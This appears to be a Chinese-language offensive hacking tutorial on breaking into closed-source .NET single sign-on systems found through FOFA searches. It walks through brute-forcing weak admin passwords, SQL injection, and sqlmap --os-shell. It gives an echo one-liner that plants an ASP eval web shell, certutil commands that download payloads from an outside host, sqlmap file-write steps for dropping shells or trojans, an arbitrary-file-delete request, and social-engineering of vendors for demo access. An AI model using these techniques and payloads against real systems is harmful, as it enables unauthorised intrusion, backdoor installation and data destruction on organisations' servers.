什么是通用型漏洞:互联网有100+ip部署的该系统
通用系统分类:开源系统、闭源系统、售卖系统

0x01 如何寻找这类未开源的单点登陆通用系统

  1. body="技术支持:" && title="登录"
  2. title="管理系统" && body="登录登陆"
  3. Country="CN" && body="js/login.js" && titile="用户"

这类收集方法有个弊端,就是会搜到一大堆乱七八糟的系统,效率不是很高,撞洞的可能性也较大,可以利用一些javascript库进行目标搜索,这类javascript库基本都用于单点登录系统上,举例:

  1. body="jquery/jquery-1.11.1.js" && country="CN" && body!="privacy-cn.pl" && title!="login"
  2. body="jquery.spritely-0.6.js" && country="CN"

这类库有很多,表哥们可以研究一下,可以批量搜索javascript库,组合骚语句,让目标搜集变得高效

0x02对单点登录系统的未授权漏洞挖掘小思路

这里主要是对.net平台进行思路分享,因为就目前单点登录系统,除了那几家厂商,其他的基本都是.net或着java开发的。抛开其他的不谈,java开发的是真的难日,就一个登录框,就算挖到了也不一定能未授权(不需要登录的清况下)打进去

在面对一个登录框的时候,我一般会先操起Burp爆破一波账号密码,既然是通用,那么肯定就有那么一两个粗心的管理员把账号密码设置为弱口令,如果能弱口令进去,找几个接口挖未授权漏洞都很容易,在这儿需要注意的是登录的时候抓包的问题

就比如这个通用系统,账号密码爆破成功了,账号admin 密码admin

第一个为登录包
image.png
点击forward后不会直接进入后台页面,验证账号密码正确后,还会通过js执行ajax再发送一个以上的数据包,用于登录进去后的主页的数据刷新,这类数据包也是最容易出现漏洞和未授权的,许少很粗心,好多次都让我白白捡洞。

第二个包
image.png
单引号测试报错
image.png
延迟payload打过去,注入成功

在登录成功后,由于是闭源系统,肯定会多多少少存在各种漏洞,后台除了测一下未授权的注入和上传后等漏洞后,就是以最快的方法拿shell,然后跳转到最后一步(反编译dll白盒测试)

刚才说的是能爆破弱口令的情况下一部分漏洞挖掘的方法,然后如果没有爆破到弱口 令,就只有通过其他方法
按照许少的的方法,没有爆破到账号密码,我会先右键审查元素看一遍js,寻找一些接口或者注释里面的暗链
image.png
就比如这套系统,右键审查元素后,读了一遍js等等信息,也没有发现什么能利用的地 方,许少的爆破字典在这儿无能为力
image.png
正准备放弃的时候,许少一语点醒梦中人,js路径为什么不能爆破一波呢,果然,经过许少的指点,又发现了很多js文件
image.png
在line.js文件中,发现一处ajax缓存
image.png
通过构造post包,成功挖掘到两枚sql注入
image.png
通过注入点写文件 —> 拿shell —> 到最后一步(拿shell找接口反编译dll白盒渗透)
最后这套系统许少带我挖了20个+前台注入 前台三处getshell 一处前台信息泄露 前台任意文件下载等等

tips:
mssql数据库中文网站路径无法用echo写shell问题

sqlmap执行 —os-shell后 用echo写shell
如下最常用的echo写shell

  1. echo ^<^%eval request("z")^>^ > E:\\项目资料\E7HRBLL\\Report\\KaoQin\1.asp

cmd中 sqlmap将 E:\\项目资料\E7HRBLL\\Report\\KaoQin\1.asp这个默认utf8编码的路径进行hex编码然后传参到gbk编码的mssql数据库中执行。中文路径会直接乱码,导致无法写shell

解决办法:
1.使用certutil.exe 下载

  1. certutil -urlcache -split -f http://xss.xiu09.cn/1.exe
  2. certutil.exe -urlcache -split -f http://xss.xiu09.cn/1.txt D:\1.asp

2.使用sqlmap自带上传功能(也是利用certutil.exe,但是兼容性更好,推荐使用)
首先在本机写一个gbk编码的txt,内容是echo写木马
然后SQLmap执行-file-write C:\Users\xiu\Desktop\1.txt -file-dest D:\1.bat
将本地1.txt上传到对方机器d盘1.bat
然后在os-shel中执行1.bat可以自动将shell写到自己想写的路径
也可以用于写上线马
image.png

  1. python sqlmap.py -r 1.txt --batch -file-write C:\Users\xiu\Desktop\1.bat -file-dest D:\2222.bat

0x03通过其他端口拿到源码后的简单利用

通过js/爆破等方法都无法进一步利用,可以fofa搜这个通用的系统的其他端口
通过其他端口找漏洞拿shell,然后写shell拿源码等等
或者通过社工,直接联系这个通用的厂商,公司需要这个系统的demo来测试是否购买,一般厂商都会同意然后简单交流后给你一个demo环境直接起飞

0x04拿到源码后该怎么做

1.拿到源码后,我会第一时间寻找web.config,看配置文件。
image.png
寻找asmx结尾的文件
asmx是什么?

asmx是WEB服务文件
asmx.cs里有相关代码
属于B/S形式,用SOAP方式HTTP访问,用XML返回
可以返回基础类型和PUBLIC结构类型。
在C/S结构中经常用到
image.png
image.png
soap最容易出现什么漏洞?
注入 上传 各种信息泄露 等等。
最简单的办法,发现soap直接丢到sqlmap 史迪仔亲测百分只80机率出注入

2.
image.png
寻找ashx结尾的文件
ashx是aspx的众多组件之一,也是.net的扩展名之一, 我们把ashx也理解为各种方法, 通过Class类找到对应dll文件,拖到dnspy反编译

比如上图的upload.ashx 找到对应dll文件拖到dnspy反编译

使用action来调用方法
并且upload.ashx有多达30多个方法,然而程序员将只调用了几个有拦截的文件上传接口,这些没拦截的任意文件上传和任意文件删除方法不通过反编译是挖掘不了的
image.png
也就是程序员在写一个文件的时候,会写多个测试的,有bug方法
最后只调用一个最终的,没有漏洞的方法
比如程序员会调用newuploading 方法用于文件上传,但是文件后缀被写死成jpg
image.png
其他未被调用的存在未授权文件上传的方法
image.png
构造payload成功未授权getshell
image.png
任意文件删除方法

  1. http://xxxxxxxxxx/Ajax/upload.ashx?action=deleteBackground&name=D:/FumaBS_New/1.txt

image.png